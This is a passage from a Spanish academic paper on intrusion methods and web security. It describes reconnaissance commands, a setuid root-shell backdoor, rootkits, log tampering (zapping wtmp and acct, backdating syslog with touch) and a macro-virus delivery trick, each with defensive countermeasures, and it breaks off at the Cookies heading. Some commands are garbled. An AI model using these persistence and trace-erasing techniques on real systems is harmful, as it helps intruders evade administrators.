

# MÉTODOS DE INTRUSISMO

**Sergio Rodríguez de Guzmán Martínez  
Luis Miguel García San Juan**

**Seguridad en Redes Telemáticas**

## MÉTODOS DE INTRUSISMO Y PROCEDIMIENTO DE ACTUACIÓN EN SITUACIONES DE HACKEO EN SISTEMAS INFORMÁTICOS

### Índice

1. INTRODUCCIÓN .....	3
2. ¿CÓMO SE SUELE HACKEAR UNA MAQUINA? .....	4
2.1. OBTENCIÓN DE LA INFORMACIÓN DEL EQUIPO A ATACAR .....	4
2.2. HACKEO DEL EQUIPO .....	6
2.3. OBTENCIÓN DE LA CUENTA DE ROOT .....	6
2.4. MANTENER LOS PRIVILEGIOS DE ROOT .....	7
2.5. BORRAR LAS HUELLAS .....	8
3. SEGURIDAD EN WWW. ....	11
3.1. Introducción .....	11
3.2. Un poco de historia .....	12
3.3. Problemática Cliente - Servidor .....	13
3.4. Distribución de software seguro .....	17
3.5. Exploradores .....	18
3.6. Cookies .....	20
3.7. Java .....	22
3.8. Javascript .....	26
3.9. ActiveX .....	28
3.10. Firewalls vs. Applets .....	29
3.11. Cgi Scripts .....	31
3.12. Hyperlink Spoofing .....	34
3.13. Conclusión .....	35
4. EVALUACIÓN DE LA SITUACIÓN DESDE EL MARCO LEGAL .....	36
4.1. EL DELITO INFORMÁTICO. ....	38
4.2. PENALIZACIÓN .....	40
4.3. OBTENCIÓN DE PRUEBAS .....	46
5. PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE RED .....	48
5.1. FILTRADO DE PAQUETES .....	48
5.2. COMANDOS REMOTOS .....	49
5.3. /etc/hosts.equiv .....	50
5.4. \$HOME/.rhosts .....	50
5.5. /etc/hosts./pd .....	51
5.6. Servicios de red .....	52
5.6.1.-/etc/inetd.conf .....	52
5.6.2. letc/services .....	52
5.7. Terminales seguros .....	53
6. PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE CUENTAS .....	54
6.1. Las contraseñas .....	54
6.2. Administración .....	55
6.3. Las cuentas especiales .....	56
7. PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE SISTEMA .....	57
8. CARACTERÍSTICAS DE PROGRAMAS RECOMENDABLES .....	59
9. CONCLUSIONES .....	60
10.- BIBLIOGRAFIA .....	62

## 1. INTRODUCCIÓN

Actualmente los sistemas informáticos se pueden considerar imprescindibles en casi todas las actividades empresariales, industriales, docentes, personales, etc. La cantidad de información que se maneja es inmensa. Por ello es necesario plantearnos el problema a nivel técnico y legislativo que se plantea cuando alguien intenta entrar en dicha información bien para alterarla, destruirla, para suplantarla o para apropiarse de ella, etc.

Teniendo en cuenta que la innovación tecnológica avanza de una manera vertiginosa nos encontramos con dos problemas:

1) Fallos de seguridad en los sistemas debido a esta velocidad tecnológica cuando se encuentra la solución para arreglarlo se descubre otro problema.

2) El sistema legislativo al que podríamos acudir para proteger nuestros derechos tiene una velocidad de respuesta mucho más lenta que la tecnológica.

En este artículo hemos tratado el problema desde estas dos ópticas (legislativa y tecnológica) e indicamos posibles caminos a recorrer para prevenir una agresión o establecer una solución cuando la agresión ya se ha sufrido.

Por tanto hemos intentado mostrar los aspectos más importantes para aumentar la seguridad ante posibles ataques de hackers. Para ello se han plasmado algunos ejemplos prácticos de sus maneras de actuar, así como el marco legal por donde se mueven los administradores para rastrearlos y capturarlos.

Siempre hay que tener presente que la seguridad es como una cadena. No sirve de nada que sea una cadena muy buena si uno de sus eslabones está defectuoso, la cadena se rompe. Si extrapolamos la cadena a la seguridad y los eslabones a los servicios, si uno de ellos no es seguro el acceso a nuestro sistema será más fácil.

## **2. ¿CÓMO SE SUELE HACKEAR UNA MAQUINA?**

A continuación se detalla una manera habitual de actuar de un hacker partiendo del principio que ya ha recopilado información general de fallos de seguridad (bugs) y de mensajes oficiales que muestran los pasos que hay que dar para aprovechar un determinado fallo de seguridad incluyendo los programas necesarios (exploits). Dichos fallos, se aprovechan para conseguir introducirse en el sistema, están basados casi siempre en los protocolos TCP/IP, en servicios de red como el NFS o NIS o en los comandos remotos de Unix. Los protocolos basados en TCP/IP que se suelen aprovechar son Telnet, FTP, TFTP, SMTP, HTTP, etc. Cada uno de ellos tiene sus propios agujeros de seguridad que se van parcheando con nuevas versiones, pero siempre aparecen nuevos bugs.

Toda esta información está en Internet solo tienen que saber buscarla. Por tanto partimos de cómo obtienen los hackers la información de un determinado equipo o de red podemos considerar las siguientes etapas:

- 1) Obtención de la información del equipo a atacar
- 2) Hackeo del equipo
- 3) Obtención de la cuenta de root
- 4) Mantener los privilegios de root
- 5) Borrar las huellas

### ***2.1. OBTENCIÓN DE LA INFORMACIÓN DEL EQUIPO A ATACAR***

Antes de la intención de hackear un equipo normalmente recopilan una serie de datos que ayuden a decidir sobre qué técnica de hackeo utilizar. Normalmente intentaran conseguir:

- el tipo de sistema operativo a atacar, para ello utilizan el comando telnet «equipo»
- la versión del sendmail que utiliza, esta información la consigue tecleando telnet «equipo» 25. El numero 25 es el numero de puerto que utiliza normalmente dicho demonio. Una vez conectados para salir basta utilizar QUIT o para la obtención de ayuda HELP. Para evitar esto basta con configurar el router de manera que todas las conexiones procedentes de fuera pasen a un equipo central y que sea desde ésta desde dónde se distribuya el correo internamente
- que servicios RPC tiene, basta con escribir rpcinfo -p «equipo»
- si utiliza la exportación de directorios (NFS) teclearan showmount -e «equipo»
- información de todo el dominio, es decir que equipos lo integran.
- login de los usuarios que tienen acceso al equipo. Para ello basta con que ejecuten el comando finger @nombre\_equipo.es y les saldrá una información parecida a esta, si no habéis desactivado el servicio fingerd en el fichero /etc/inetd.conf:

```
--($:~)-- finger sergio@coyote
```

```
[coyote.asoc.euitt.upm.es]
```

```
Login: sergio                Name: Sergio Rodriguez de Guzman  
Martinez
```

```
Directory: /home/sergio     Shell: /bin/bash
```

```
On   since Wed Jun      5  16:12 (CEST) on pts/0 from  
xxx.xxx.xxx.xxx
```

```
38 minutes 50 seconds idle
```

```
Mail last read Wed Jun 5 12:58 2002 (CEST)
```

```
Plan: No plan
```

Con estos datos ya tienen suficiente para empezar a hackear la maquina.

## **2.2. HACKEO DEL EQUIPO**

Hay dos formas básicas de introducirse en sistema:

- 1) Entrar directamente sin necesidad de poseer una cuenta en el sistema. Por ejemplo como se detallaba al principio con los comando remotos (ejemplo del IRC).
- 2) Conseguir el fichero de contraseñas del equipo y crackearlo. Para crackearlo existen varios programas tanto para Unix como para Windows.

## **2.3. OBTENCIÓN DE LA CUENTA DE ROOT**

Una vez introducidos en el equipo intentaran la obtención de privilegios de root para ello explotaran los bugs encontrados para nuestro sistema en el primer paso. Lo que también hacen es intentar explotar bugs que afecten a los sistemas Unix en general, si siguen sin funcionar se dedican a explorar el sistema (hasta donde les permitan sus privilegios) para tener una visión general de cómo está protegido el sistema (por ejemplo viendo si los usuarios tienen ficheros .rhosts, si determinados ficheros tienen permisos set-uid, que usuario tiene determinados ficheros, etc.) y a partir de ahí tiene dos opciones principalmente: la primera que se olviden durante unos días del equipo para poder recopilar más información de bugs actualizados y la segunda opción es la de hackear otra máquina del mismo dominio y que sea más insegura. Una vez hackeada el equipo inseguro colocaran un sniffer para conseguir una cuenta para el otro equipo.

Un sniffer no es más que un programa que captura todo lo que pasa por la red poniendo al equipo en modo promiscuo. La obtención de un sniffer es tan sencillo como navegar por la red, pero incluso programas como Etherfind o Tcpcap se pueden utilizar para este fin, aunque no hayan sido concebidos para ello. La manera de comprobar si un sistema está en modo promiscuo es tecleando ifconfig -a. También crackean el fichero de contraseñas, etc. Una manera de evitar los sniffers es separar mediante switches las redes de acceso general del resto de la red.

## **2.4. MANTENER LOS PRIVILEGIOS DE ROOT**

Existirán diversas formas de mantener los privilegios de root, es decir asegurar que la próxima vez que entren al sistema con la cuenta de un usuario que posea privilegios normales, puedan conseguir privilegios de root de forma fácil y sin complicaciones. Para ello la forma más utilizada es el "sushi" (set-uid-shell) o más conocido como huevo.

Consiste en copiar un shell a un directorio público (en el que un usuario normal pueda ejecutar los ficheros) y cambiar el nombre al que ellos quieran. Hay que asegurarse de que el shell copiado tenga como propietario al root y cambian los permisos del fichero con las cifras 4755. El 4 significa que cualquier usuario que ejecute dicho fichero lo estará ejecutando con los privilegios del propietario. Como en este caso el propietario es el root y el fichero en cuestión es un shell, el sistema les abrirá un shell con privilegios de root. Con esta operación la próxima vez que acceden al sistema con la cuenta de un usuario normal, sólo tendrán que ejecutar el shell antes mencionado y se convertirán en root. Una manera de detectarlos sería con el comando "find / -type f -a \ ( -perm -4000 -o -perm -2000 V -print". Otra manera de detectar cambios en los ficheros del equipo sería teclear el comando `ls -aslgR /bin /etc /usr > ListaPrincipal` dicho archivo (Lista Principal) deberá estar en alguna ubicación que no pueda ser detectada por el hacker, después se deben ejecutar los comandos

```
ls -aslgR /bin /etc /usr > ListaActual
```

```
diff ListaPrincipal ListaActual
```

Con lo que nos saldrá un informe. Las líneas que solo estén en la ListaPrincipal saldrán precedidas con un carácter "<", mientras que las líneas que estén solo en ListaActual irán precedidas con el carácter ">".

## ROOTKITS

Generalmente dentro de la metodología de los intrusos, está establecer puertas traseras (backdoors) que permitan el ingreso posterior a la máquina y contar con recursos adicionales para continuar con sus acciones. Particularmente, utilizar la máquina comprometida como repositorio de archivos. Recuerde, que el intruso puede instalar aplicaciones como ROOTkits, las cuales generan sistemas de archivos paralelos no perceptibles en la máquina que permiten efectuar acciones sobre el servidor y sus procesos, con los permisos de super-usuario.

### 2.5. BORRAR LAS HUELLAS

El sistema operativo guarda varios registros de las conexiones de los usuarios al equipo, por tanto el hacker intentará ocultar sus huellas de algún modo. A continuación se detallarán los ficheros y algún modo de borrar sus huellas.

- wtmp.- guarda un log cada vez que un usuario se introduce en el equipo o sale de él. Dicho fichero se ubica normalmente en: /etc/wtmp, /var/log/wtmp ó /var/adm/wtmp. Este puede ser mostrado con el comando `who` localización\_fichero, con lo que saldrá:

```
esper ttyp3 Mar 26 12.000 (afrodita.ipf.net) ttyp3 Mar 26
12:10
esper ttyp3 Mar 26 12:10 (afrodita.ipf.net) ttyp3 Mar 26
13:00
pepe ttyp2 Mar 30 17.000 (atenea.cdi.net) ttyp2 Mar 30 17:59
```

También puede obtenerse la información con el comando `last`

```
esper ttyp4 afrodita.ipf.net Tue Mar 13 11:45- 11:56 (00:00)
pepe ttyp4 aries.tsm.com Mon Mar 12 10:30 - 11:00 (00:30)
reboot - Mon Mar 12 10.-02 shutdown - Mon Mar 12 10:02
esper ftp afrodita.ipf.net Sun Mar 11 12:00-12:19 (00:19)
```

- utmp.- guarda un registro de los usuarios que están utilizando el equipo mientras están conectados a él. Se encuentra dicho fichero en: /var/log/utmp, /var/adm/utmp ó /etc/utmp. Para mostrar la información de este fichero basta con teclear who y saldrá algo de esta forma

```
esper ttyOc Mar 13 12:31
```

```
pepe ttyO3 Mar 12 12.-00  
jlrivas ttyP2 Mar 1 03:01 (casa.router.com}
```

Existen dos modos de borrar sus huellas en estos dos ficheros. La primera es que como no son ficheros de texto no podrán editarlo con un editor de texto, pero existen programas conocidos con el nombre de zappers que pueden borrar los datos relativos a un usuario en particular dejando el resto de la información intacta. La segunda es una manera mucho más radical, consiste en dejar el fichero con cero bytes o incluso borrarlo. Esta manera solo la utilizan como último recurso ya que suscita muchas sospechas por parte de los administradores.

- lastlog.- en el se encuentra el momento exacto en el que entró el usuario en el equipo por última vez. Se ubica en /var/log/lastlog ó /var/adm/lastlog.  
- acct ó pacct.- registra todos los comandos ejecutados por cada usuario, pero no sus argumentos. Se encuentra en: /var/adm/acct ó /var/log/acct. Para mostrar la información teclear el comando lastcomm con lo que saldrá:

```
sh S root - 0.67 secs Tue Mar 26 12:40  
lpd F root - 1.06 secs Tue Mar 26 12:39  
ls esper ttyO3 0.28 secs Tue Mar 26 12:38
```

Borrar las huellas con el accounting activado es mucho más complicado para ellos, aunque lo que hacen es reducir la información de su presencia en el sistema para ello emplean dos métodos distintos. Primero nada más entrar en el sistema copiarán el fichero acct a otro fichero y antes de abandonar el equipo solo tendrán que copiar dicho archivo de nuevo al acct, por tanto todos los comando ejecutados durante la sesión no aparecen en el fichero acct. El inconveniente con el que se encuentran es que queda registrada en el sistema su entrada, así como las dos copias, por tanto si veis dos copias del fichero acct algo no va bien. La segunda manera sería hacerse con un editor para el fichero acct que borrara los

datos correspondientes al usuario, dejando intactos al resto de los usuarios. El problema que les acarrea es que la ejecución del programa editor que borra sus huella quedaría registrado como ejecutado por su usuario. La última opción sería dejar el fichero acct con cero bytes.

- syslog.- es una aplicación que viene con el sistema operativo Unix. Dicha aplicación genera mensajes que son enviados a determinados ficheros donde quedan registrados. Estos mensajes son generados cuando se dan unas determinadas condiciones, ya sean condiciones relativas a seguridad, información, etc. Los mensajes de errores típicos están ubicados en /var/log/messages, /usr/adm/messages o /var/adm/messages. Un fichero típico sería:

```
Mar26 13:10 esper login: ROOT LOGIN ttyp3 FROM
casa.router.com
```

```
Mar 26 13:30 esper login: ROOT LOGIN ttyp4 FROM
afrodita.ipf.net
```

```
Mar 27 09:00 esper su: pepe on /dev/tty3
```

Para borrar las huellas que deja dicho demonio necesitan tener privilegios de root. Lo que harán será ver el fichero de configuración /etc/syslogd.conf para saber en que ficheros están guardando la información, por tanto cuando los averigüen los visualizarán y buscarán algún mensaje de la intromisión en el equipo de la forma login: Root LOGIN REFUSED on ttya". Cuando los encuentran los borran y cambian la fecha del fichero con el comando touch de forma que coincida la fecha del último mensaje con la fecha del fichero. Ya que si no lo hacen comprobando las fechas no coincidirían y se deduce que alguien ha modificado el fichero.

Una vez descrito un procedimiento de actuación de los hackers para atacar un sistema tendremos que hacernos la pregunta ¿estamos protegidos o desprotegidos legalmente frente a estos actos?

## **3. SEGURIDAD EN WWW.**

### **3.1. Introducción**

Los problemas de seguridad de la WWW se podría decir que son de los más interesantes, ya que estos mismos se extienden a más gente que otros protocolos, debido a que para la mayoría de la gente Internet es la Web. Los servidores Web están continuamente en peligro, expuestos a robo de información como a destrucción de ficheros siendo uno de los blancos preferidos por los intrusos.

A su vez estos servidores ofrecen nuevos servicios a la gente mediante el uso de CGI scripts, los cuales suelen ser escritos por programadores expertos pero no muy hábiles en temas de seguridad, siendo estos una de las principales fuentes de quebraderos de cabeza.

En términos generales se podría hablar de 3 causas de los fracasos en Internet referentes a la seguridad:

- 1. La falta de uso de criptografía apropiada**
- 2. Fallos en el código de los programas**
- 3. Errores de configuración**

Este pequeño resumen viene a explicar la gran verdad de que "la seguridad está condenada a fallar", ya que cuestiones como el punto 2 están más allá de nuestras posibilidades como simples usuarios, mientras que cuestiones como la 1 se escapan del control de los administradores de los servidores y sistemas, debido a que no pueden controlar la conducta de sus usuarios, siendo para estos últimos muy fácil el no hacer caso.

Para empezar a trazar un plan de defensa ,hay que decidir que estas protegiendo y su precio, al igual que saber quienes son realmente los enemigos; se podría decir que una de las mejores estrategias es una mezcla de seguras técnicas de control y el poder proporcionar una buena educación en cuestiones de seguridad a los usuarios, intentando evitar la proliferación de usuarios desprevenidos los cuales suelen seguir instrucciones al pie de la letra para mismamente descargar un programa de Internet regalando a menudo sus claves; pero no siempre hay que seguir instrucciones para estar en peligro, ya que a veces el peligro viene con la

forma de un navegador con componentes por defecto inapropiados como pudiera ser la ejecución automática de java, podremos ver bonitas animaciones pero pueden ocurrir extraños sucesos a nuestras espaldas.

Desde el punto de vista de la seguridad Java es demasiado complejo y como resultado ha tenido varios fallos, (complejidad y seguridad no se llevan bien), lo que puede llevar a la existencia de "grietas" que viene a unirse al hecho de que los servidores Web son muy complejos tanto para programadores como administradores, siendo una de las mejores soluciones el uso de la criptografía la cual protege sin dar muchos problemas, aunque algunos protocolos criptográficos han tenido fallos también. En cuanto a este tema los servidores y exploradores la han usado teniendo en algunos países restricciones del gobierno en cuanto al tamaño de la clave, habiendo habido fallos que han permanecido durante años.

### ***3.2. Un poco de historia***

Pero no por ello todo son desgracias ya que hay muchas formas de establecer una Web segura, estableciendo permisos de ficheros, mediante certificaciones criptográficas de autorización, etc. Ante este escenario muchos se preguntaran de el porque de tantos fallos, lo cual tiene una sencilla explicación.

El rápido crecimiento de Internet hizo que la seguridad fuese añadida como algo adicional, sin prestarle demasiada importancia, donde las actuales amenazas fueron introducidas a lo largo de cada una de las distintas fases de su desarrollo y los errores previos no siempre fueron corregidos; se podría decir que la Web ha heredado todos los fallos de seguridad de Internet, ya que sus desarrolladores se precipitaron creando un rico entorno pero pasando por alto vulnerabilidades.

La verdad es que los fallos de los principios de la Web al interactuar con antiguas y modernas características de la misma hacen que aumenten los peligros; antiguamente y aun hoy en día, se podía falsificar correo conociendo el protocolo SMTP, los servidores ftp dejaban el sistema de archivos completamente vulnerable, con telnet las contraseñas eran transmitidas sin ningún tipo de protección, había fallos en la implementación del protocolo TCP/IP que permitían crear direcciones ip falsas (lo cual era muy útil ya que muchas aplicaciones usaban esa información para autenticarse), averiguando el numero de secuencia TCP se podía espiar una conexión o uno de los ataques mas interesantes, el

DNS Spoofing mediante el cual si se conseguía alterar la dirección ip asignada a un nombre de servidor se podía hacer pasar por el. Pues bien toda esta colección de fallos esta todavía presente en nuestros días, a pesar de que es conocida desde hace mucho, lo que nos da una idea de la importancia que se le asigno a la seguridad en aquellos lejanos tiempos.

Pero sin duda alguna la mayor amenaza reside en el entorno homogéneo del cliente y el servidor, ya que usan los mismos programas y protocolos, lo que hace Internet posible constituye su mayor debilidad toda una paradoja, y un buen ejemplo de ello fue el archifamoso gusano de Morris el cual aprovechando un fallo en el demonio fingerd infecto miles de ordenadores de todo el mundo, también debido en gran parte a que es imposible eliminar todos los fallos de programación en los programas grandes tipo sendmail el cual se ejecuta con privilegios del sistema, habiéndosele encontrado fallos en los últimos 10 años.

Por lo tanto la introducción del protocolo HTTP y del formato HTML han añadido nuevas amenazas a las ya existentes, ya que ahora un fallo en Netscape afectaría a mas ordenadores que si hubiese existido en la época del gusano de Morris. Dentro de estas nuevas amenazas nos encontramos con los CGI scripts que introducen nuevos y serios asuntos de seguridad, estos mismos sirven para procesar la información que facilitamos en el servidor, pero con ellos los usuarios pueden crear sus propios fallos para usarlos contra la gente, se suelen ejecutar con privilegios lo que les da el control del servidor; algunos de estos scripts tienen fallos que pueden ser explotados por algún cliente para comprometer al servidor, ya que algunos mandan los datos de entrada directamente al interprete de comandos, lo que podría llevar a poder ejecutar código arbitrario en el servidor, obtener información de correo privado, cambiar datos en la maquina, cerrar el servidor teniendo que ser reiniciado, etc.

### ***3.3. Problemática Cliente - Servidor***

Una vez que se han ejecutado scripts en el servidor, el siguiente paso es ejecutar scripts en el cliente, ya que una forma de reducir la carga en un servidor es mandar scripts a todos sus clientes para que los ejecuten localmente, siendo el ejemplo mas general los scripts en java lo que nos lleva al peligroso concepto de ejecutar código de una localización arbitraria ya que hay formas de romper el chequeo de verificación para permitir ejecutar código arbitrario y todo esto aunque los creadores de java se esforzaron en la seguridad desde el principio es una realidad, pero la

cuestión es que un cliente Web que corra con java activado es vulnerable a ser atacado y esta opción suele estar "sorprendentemente" activada por defecto.

Pero no solo esta java como una posible amenaza, también nos podemos encontrar con Javascript, el cual resulta ser todo un problema para poder ser identificado por los firewalls, siendo mas difícil de bloquear además de que en cuestiones de seguridad ha sido menos estudiado que java; también existen lenguajes de script como activeX o Inferno (al igual que el s.o) que se encuentra en desarrollo por parte de los Laboratorios Bell, toda una maraña en la que no es difícil perderse.

Las principales amenazas ante las que nos podemos encontrar pueden ser clasificadas de una forma bastante general en:

a) Integridad: modificación de datos, programas tanto del usuario como del servidor, pudiendo tomar el control del ordenador; una posible solución sería usar una llave criptográfica de chequeo, Message Authentication Codes (MACs).

b) Confidencialidad: robo de información del cliente, servidor, configuración de la red, etc. Usando la Web esta información esta en peligro, ya que casi todos los exploradores tienen un cache con los sitios visitados, lo cual se podría resolver mediante la encriptación y el uso de Web proxies.

c) DoS: impedimento de acceso a recursos, mediante Dns Spoofing se puede aislar a un host reencaminando todos sus paquetes, hay algunos tipos de ataque fáciles de hacer como el bombardeo mediante paquetes lo que llevaría a un gran gasto de la CPU al tener que procesar continuamente mensajes basura, un servidor puede ser desbordado con peticiones y el servicio para los usuarios legítimos se retrasa o anula ya que algunos servidores limitan el numero de conexiones simultaneas, también se podría conseguir rellenando el disco o la memoria del ordenador atacado.

d) Autenticación: suelen estar basados en la dirección ip, ya que hay métodos para suplantarlas, habiendo también a su vez protocolos criptográficos vulnerables a estos ataques, aun así la mejor solución es el uso de técnicas criptográficas.

Pero no acaba hache todo ya que hay más tipos de amenazas un poco mas difíciles de definir, por ejemplo se pueden adquirir nombres de dominio como www.ibn.com o www.whitehouse.org (la verdadera es .com), que

pueden servir para robar clientes o mandar a posibles victimas mediante un link a una Web bajo el control del atacante sin necesidad de falsificar ningún nombre de dominio.

Otro ataque de denegación de servicio mas peligroso que los anteriormente mencionados y mas difícil de detectar, seria "matar" un pequeño numero de paquetes entre el ordenador blanco y otra maquina ,siendo el efecto una conexión muy lenta ya que los protocolos de alto nivel retransmitirían estos paquetes ,siendo atribuida esta lentitud a redes lentas o a ordenadores ocupados.

En cuanto a cuestiones de privacidad, al conectarnos a una Web esta tiene bastante información acerca de nosotros, para esto hay sitios como [www.anonymizer.com](http://www.anonymizer.com) que actúan como proxy pero solo te protegen ante el destino final, el cual vería que alguien quiere conectar desde anonymizer, pero el trafico entre tu ordenador y anonymizer seguiría conteniendo la información de los sitios en los que has estado.

Otros peligros ya más referentes al explorador, serian leer correo desde el mismo lo cual es una imprudencia, por ejemplo si un atacante descubriese un nuevo fallo en java y quisiera obligar a un usuario a ejecutar un script maligno, podría meter el applet en una Web y enviárnosla y el explorador la ejecutaría automáticamente. Otra cuestión seria la de no aceptar nunca bajar automáticamente las actualizaciones de los programas, ya que mediante un ataque de DNS se podría contactar con la maquina del atacante bajando una versión del programa con un troyano, lo cual se evitaría con el uso de firmas digitales.

A su vez toda persona que desee establecer una pagina Web, debe de intentar conocer las ventajas e inconvenientes de todos los servidores Web que hay en el mercado para aprender sobre los fallos que son mas comunes en estos a la vez que se ha de preocupar para configurar este mismo de la mejor forma posible, intentando ofrecer solo los servicios imprescindibles. Un aspecto muy importante es el ir actualizando los servidores según se van sacando parches para vulnerabilidades conocidas, ya que un atacante podría hacer algo tal que así:

```
[memonix@ragnarok memonix]$ ./quehttpd www.microsoft.com
```

```
Que httpd V 0.1.1-Revision is part of the Lorian Project.  
Coded at "The Lorian Project"
```

```
HTTP/1.1 200 OK  
Server: Microsoft-IIS/5.0
```

Date: Thu, 17 May 2001 21:41:59 GMT  
Connection: close  
Content-Length: 0  
Accept-Ranges: bytes  
DASL: <DAV:sql>  
DAV: 1, 2  
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,  
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH  
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,  
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH  
Cache-Control: private

[memonix@ragnarok memonix]\$ ./quehttpd www.phpnuke.org

Que httpd V 0.1.1-Revision is part of the Lorian Project.  
Coded at "The Lorian Project"

HTTP/1.1 200 OK  
Date: Thu, 17 May 2001 14:34:59 GMT

Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk)  
mod\_ssl/2.8.2  
OpenSSL/0.9.6 PHP/4.0.4pl1  
Content-Length: 0  
Allow: GET, HEAD, OPTIONS, TRACE  
Connection: close

[memonix@ragnarok memonix]\$ ./quehttpd www.nsa.gov

Que httpd V 0.1.1-Revision is part of the Lorian Project.  
Coded at "The Lorian Project"

HTTP/1.1 200 OK  
Date: Thu, 17 May 2001 21:56:58 GMT  
Server: Apache/1.3.11 (Unix)  
Content-Length: 0  
Allow: GET, HEAD, OPTIONS, TRACE  
Connection: close

Donde un atacante no tendría nada mas que comprobar que dicha versión no contiene ninguna vulnerabilidad la cual podría estar sin parchear, lo que le facilitaría el trabajo en gran parte.

### 3.4. Distribución de software seguro

Ante estos problemas de la distribución de software seguro en Internet hay soluciones, algunas mas complicadas como seria que el distribuidor hiciese firmas digitales para todos los ficheros, lo que seria algo complejo ya que necesitaría toda una infraestructura de llave publica; otra solución al problema seria Betsi, una clave publica la cual ha sido diseñada por expertos como Phil Zimmermman el autor de PGP y con la colaboración de grandes empresas como Netscape, Betsi requiere que los usuarios obtengan software criptográfico como PGP y MD5.

El método a seguir seria el siguiente, los autores se registrarían con Betsi y ofrecerían Betsi con una llave publica, luego Betsi verificaría su identidad; una vez que los autores se han registrado pueden comunicarse seguramente porque ellos pueden repartir copias validas a otras llaves publicas; cuando se tiene un fichero que distribuir el crea un certificado

De petición para el fichero, la solicitud contendrá detalles como el nombre del autor, del fichero a ser certificado, etc. Entonces el autor firmaría la petición con su clave privada y la mandaría a Betsi. Un ejemplo de una petición seria:

```
----- BEGIN PGP SIGNED MESSAGE -----  
Author Name:Some Author  
Author Organization:Software Company, Inc.  
Hash function:MD5  
Date of certificate creation:12/20/00  
fef16954e74a219b1bcg67f22511b25 distribution.tar.Z  
e2ab456tdb50ce66e44db501b33ef12 archive.tar.Z
```

```
----- BEGIN PGP SIGNED MESSAGE -----  
Version:2.6.3  
iQcsDergYg9 / ZcZbZbmffgfAQVG / hjuYGF89v7Qtu66HjuYT22  
gjhkioYhj955pOikiUY78VFQ89 / kuujGG 988jNH76GHy557Yujl9  
76HJybj5gjTUjh8jhjj987JHJHG87yj25koyh+kk98JUH654GHbcd5  
00Ghyd8H80=  
=2Y8u  
----- END PGP SIGNATURE -----
```

Betsi recibiría el mensaje y verificaría la firma asegurándose de que es autentico, pudiendo detectar cualquier modificación del mensaje. Betsi responde al autor con un certificado de integridad digital diciendo que el

nombre del autor esta registrado y que ha solicitado un certificado seguro de enlace a los archivos.

Un ejemplo de un certificado seria:

```
-----BEGIN PGP SIGNED MESSAGE-----  
Betsi Certificate  
CA:Betsi Version 1.0  
Author Name:Some Author  
Author Organization:Software Company, Inc.  
Hash function:MD5  
Date of certification creation:5/10/00  
fef16954e74a219b1bcg67f22511b25 distribution.tar.Z  
e2ab456tdb50ce66e44db501b33ef12 archive.tar.Z
```

```
-----BEGIN PGP SIGNATURE-----  
Version:2.7  
Yunn87bgY / ju87JijhJHG789Mko00FGY65bH09 / k98IKJ78Hgg  
Kio09Jhgb675Bh89Kij89 / jiu+00Juyh7UHjhUghhB76700LLpYU  
GHJ88lkbh89j7hKKLFF00Mji98bvHJ76nbJLLpmKK8800GfFF / Juh  
ju78HGt=  
=pYLY  
-----END PGP SIGNATURE-----
```

El autor verifica que el certificado es correcto y que la firma ha sido verificada. Entonces se hace disponible la distribución de los archivos. El usuario puede comprobar que los ficheros no han cambiado verificando el certificado de integridad con la clave pública de Betsi.

Otras soluciones pueden ser proporcionadas por mecanismos como Authenticode de Microsoft o Cryptolopes de IBM.

### **3.5. Exploradores**

En la mayoría de los exploradores las opciones de configuración se almacenan en un único fichero organizado por módulos, lo que supone un riesgo ya que si un atacante puede modificarlo tendría pleno control sobre cuestiones tan importantes como SSL, pudiendo por ejemplo hacer que el explorador usase una versión mas débil del protocolo que la que el usuario había especificado.

Otras malas ideas que pueden conllevar que nuestra seguridad sea rota son por ejemplo activar las opciones de recordar las contraseñas de acceso al servidor, aceptar cookies por defecto, almacenar las paginas que han sido recibidas mediante SSL ya que el atacante al reemplazar todos los certificados en el disco local estaría minando SSL totalmente.

Respecto a los lenguajes Java y Javascript en el caso de Netscape están habilitados, lo cual es una de las peores decisiones de Netscape en cuanto a seguridad, ya que tiene demasiados fallos de seguridad como para ejecutar código sin confianza en Internet; una buena idea seria permitir únicamente los applets firmados con una llave privada donde la publica fuese suministrada por el usuario, la única pero gran pega a esta solución es que necesitaría que los usuarios tuviesen un nivel de conocimientos no muy aproximado al que posee realmente la gente en general.

En cuanto al Internet Explorer se podría decir que tienen una ventaja sobre Netscape y es que los usuarios de IE lo son seguramente también de Windows, por lo que interactúan entre si de una forma mas fácil que Netscape con cualquier otra plataforma en la que corra.

Otro tema interesante es el de los controles ActiveX que son componentes de software incluidos en las webs; cuando se visita una Web que los usa estos controles son bajados automáticamente y instalados en el cliente mediante un tipo especial de certificado. Sorprendentemente la opción por defecto suele estar activada para permitir ejecutar tanto componentes de ActiveX como programas de Java, estando otra vez la conveniencia por encima de la seguridad.

IE también dispone de un establecimiento de los niveles de seguridad, aunque estos a la hora de la verdad afectan poco a la seguridad, lo que crea una falsa sensación de seguridad en los usuarios que les puede llevar a cometer mas imprudencias de las aconsejables.

Centrándonos mas en cuanto a posibles amenazas, IE puede ser usado para propagar virus, un ejemplo podría ser un atacante el cual ha creado un documento de Word con un virus de macro en su interior, llamándose el archivo por ejemplo regalo.dot, renombrándolo mas tarde a regalo.class, después de esto lo metería en una Web poniendo un enlace a este archivo y redireccionando la pagina a otra después de x segundos, la victima al visitar la Web y ir al enlace que lleva al archivo vería como este mismo no se ejecutaría como un programa java debido a que el formato es erróneo, pero el archivo en cuestión se guardaría en el disco de la victima, llegado a

este punto el redireccionamiento tendría lugar y la víctima llegaría a la nueva página, la cual tendría un enlace que apuntaría al archivo en cuestión guardado en el disco, el explorador reconocería el contenido y ejecutaría automáticamente el Word y la macro infectada se ejecutaría.

Para finalizar y para aguar un poco la alegría a los usuarios de IE, habría que decir que lo dicho anteriormente en este apartado sobre IE de que Microsoft tenía una cierta ventaja sobre Netscape no es del todo cierto, ya que Netscape tiene a su vez una cierta ventaja sobre IE en ordenadores con Windows, ya que al haber sido escritos por los mismos desarrolladores estos han explotado llamadas al sistema y otras características de Windows que no están disponibles para otros desarrolladores, por lo que la estrecha "relación" existente entre el explorador y el sistema operativo hacen posible la existencia de agujeros los cuales no afectarían a los usuarios de Netscape.

### **3.6. Cookies**

